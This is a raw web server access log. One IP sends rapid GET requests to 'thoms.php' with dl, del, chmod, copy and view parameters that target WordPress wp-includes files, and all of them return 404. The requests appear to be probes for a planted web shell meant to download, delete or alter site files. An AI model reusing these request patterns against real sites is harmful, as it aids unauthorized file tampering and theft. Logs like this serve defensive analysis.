45.135.193.11 - - [11/Sep/2026:23:58:48 -0400] "GET /thoms.php?dl=version.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=version.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:48 -0400] "GET /thoms.php?del=category-template.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=category-template.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:48 -0400] "GET /thoms.php?chmod=class-wp-roles.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-roles.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:48 -0400] "GET /thoms.php?dl=default-constants.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=default-constants.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:48 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Ffeed-rdf.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Ffeed-rdf.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:48 -0400] "GET /thoms.php?del=http.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=http.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:48 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fms-blogs.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fms-blogs.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:48 -0400] "GET /thoms.php?dl=ms-files.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=ms-files.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:48 -0400] "GET /thoms.php?del=style-engine&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=style-engine&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:48 -0400] "GET /thoms.php?dl=class-snoopy.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-snoopy.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:49 -0400] "GET /thoms.php?chmod=class-wp-block-bindings-registry.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-block-bindings-registry.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:49 -0400] "GET /thoms.php?dl=class-wp-user-query.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-user-query.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:49 -0400] "GET /thoms.php?chmod=feed-rss2.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=feed-rss2.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:49 -0400] "GET /thoms.php?chmod=formatting.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=formatting.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:49 -0400] "GET /thoms.php?chmod=post-thumbnail-template.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=post-thumbnail-template.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:49 -0400] "GET /thoms.php?chmod=ID3&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=ID3&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:49 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes&view=kses.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes&view=kses.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:49 -0400] "GET /thoms.php?del=template-canvas.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=template-canvas.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:49 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes&view=category-template.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes&view=category-template.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:49 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-wp-dependencies.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-wp-dependencies.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:49 -0400] "GET /thoms.php?del=post.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=post.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:49 -0400] "GET /thoms.php?del=certificates&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=certificates&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:49 -0400] "GET /thoms.php?chmod=theme-compat&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=theme-compat&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:49 -0400] "GET /thoms.php?del=block-editor.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=block-editor.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:49 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-simplepie.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-simplepie.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:49 -0400] "GET /thoms.php?chmod=class-wp-text-diff-renderer-table.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-text-diff-renderer-table.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:50 -0400] "GET /thoms.php?dl=class-wp-user.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-user.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:50 -0400] "GET /thoms.php?dl=embed-template.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=embed-template.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:50 -0400] "GET /thoms.php?chmod=block-bindings.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=block-bindings.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:50 -0400] "GET /thoms.php?chmod=class-phpass.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-phpass.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:50 -0400] "GET /thoms.php?dl=class-wp-block-bindings-registry.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-block-bindings-registry.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:50 -0400] "GET /thoms.php?del=class-wp-oembed-controller.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-oembed-controller.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:50 -0400] "GET /thoms.php?chmod=comment-template.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=comment-template.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:50 -0400] "GET /thoms.php?del=feed.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=feed.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:50 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fformatting.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fformatting.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:50 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-wp-user-query.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-wp-user-query.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:50 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes&view=icons.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes&view=icons.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:50 -0400] "GET /thoms.php?dl=ms-blogs.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=ms-blogs.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:50 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Ftheme.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Ftheme.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:50 -0400] "GET /thoms.php?del=class-wp-rewrite.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-rewrite.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:50 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-wp-widget-factory.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-wp-widget-factory.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:50 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes&view=ms-settings.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes&view=ms-settings.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:50 -0400] "GET /thoms.php?chmod=script-modules.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=script-modules.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:51 -0400] "GET /thoms.php?dl=script-modules.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=script-modules.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:51 -0400] "GET /thoms.php?del=Text&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=Text&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:51 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-oembed.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-oembed.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:51 -0400] "GET /thoms.php?dl=class-wp-block-parser.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-block-parser.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:51 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-wp-block-patterns-registry.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-wp-block-patterns-registry.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:51 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-wp-user-request.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fclass-wp-user-request.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:51 -0400] "GET /thoms.php?chmod=error_log&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=error_log&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:51 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Ftheme-previews.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Ftheme-previews.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:51 -0400] "GET /thoms.php?dl=class-wp-application-passwords.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-application-passwords.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:51 -0400] "GET /thoms.php?del=class-wp-block-parser-block.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=class-wp-block-parser-block.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:51 -0400] "GET /thoms.php?chmod=class-wp-block-processor.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=class-wp-block-processor.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:51 -0400] "GET /thoms.php?dl=class-wp-dependency.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-dependency.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:51 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-wp-exception.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-wp-exception.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:51 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Ficons.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Ficons.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:51 -0400] "GET /thoms.php?dl=meta.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=meta.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:51 -0400] "GET /thoms.php?del=interactivity-api&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=interactivity-api&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:52 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-wp-block-parser-frame.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-wp-block-parser-frame.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:52 -0400] "GET /thoms.php?dl=class-wp-view-config-data.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-wp-view-config-data.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:52 -0400] "GET /thoms.php?dl=error_log&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=error_log&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:52 -0400] "GET /thoms.php?chmod=link-template.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=link-template.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:52 -0400] "GET /thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fms-default-constants.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=bfl.com.tw%2Fwp-includes%2Fms-default-constants.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:52 -0400] "GET /thoms.php?chmod=taxonomy.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=taxonomy.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:52 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes&view=template-canvas.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes&view=template-canvas.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:52 -0400] "GET /thoms.php?dl=class-walker-nav-menu.php&p=bfl.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?dl=class-walker-nav-menu.php&p=bfl.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:58:52 -0400] "GET /thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-wp-metadata-lazyloader.php HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=bfl.com.tw%2Fwp-includes&view=class-wp-metadata-lazyloader.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
